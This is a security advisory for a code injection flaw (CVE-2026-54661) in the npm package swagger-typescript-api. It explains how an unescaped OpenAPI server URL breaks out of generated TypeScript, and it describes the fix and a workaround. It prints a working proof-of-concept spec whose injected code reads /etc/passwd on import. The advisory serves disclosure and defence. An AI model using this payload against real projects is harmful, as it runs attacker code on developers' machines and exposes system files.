high · 8.3CVE-2026-54661Jul 29, 2026

CVE-2026-54661: swagger-typescript-api Axios HTTP Client Code Injection via servers[0].url

Rohit Hatagale
AI Security Researcher, SecureLayer7

swagger-typescript-api pastes the OpenAPI spec's server URL directly into generated TypeScript without escaping it, letting an attacker who controls the spec run arbitrary code on any developer or…

Packageswagger-typescript-api
Ecosystemnpm
Affected<= 13.12.1
Fixed in13.12.2
CVE-2026-54661: swagger-typescript-api Axios HTTP Client Code Injection via servers[0].url

The problem

When generating an axios HTTP client, swagger-typescript-api interpolates servers[0].url raw into a double-quoted string literal inside the HttpClient constructor body (axios-http-client.ejs:71) using Eta's unescaped <%~ %> tag.

A " in the URL closes the string literal. The surrounding context is a JavaScript object literal (the argument to axios.create({})), which accepts computed property keys. A crafted URL can inject a computed key whose value is an IIFE, executing arbitrary code every time new HttpClient() (or new Api(), which calls super()) is constructed.

Because the documented usage pattern calls new Api() at module top level, this is effectively RCE on first import.

Proof of concept

A working proof-of-concept for CVE-2026-54661 in swagger-typescript-api, with the exact payload below.

json
{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

The Eta template tag <%~ apiConfig.baseUrl %> performs raw, unescaped interpolation. The only escape helper in the codebase (escapeJSDocContent) only strips */ and is never applied to this path, so any " in the URL terminates the string literal mid-expression.

The injection lands inside an object literal, not a statement boundary, so the attacker uses a computed property key [(IIFE)()] which JavaScript evaluates eagerly when the object is constructed. The trailing dummy: " re-opens a string that the template's own closing " terminates, keeping the output syntactically valid TypeScript.

Biome successfully reformats the generated constructor, confirming the file parses cleanly.

Root causes are CWE-94 (Code Injection) and CWE-1336 (Template Engine Injection). The patch sanitizes serverUrl once in src/code-gen-process.ts before it is handed to any template, closing both the axios and fetch variants simultaneously.

The fix

Upgrade to swagger-typescript-api@13.12.2 or later. The fix escapes apiConfig.baseUrl at the source in src/code-gen-process.ts (using the equivalent of JSON.stringify(serverUrl).slice(1,-1)) before template rendering, so a " in a server URL becomes \" and cannot break out of the generated string literal.

If you cannot upgrade immediately, audit every spec you pass to the generator and reject any servers[0].url value containing ", \, or newline characters.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4][5]

Related research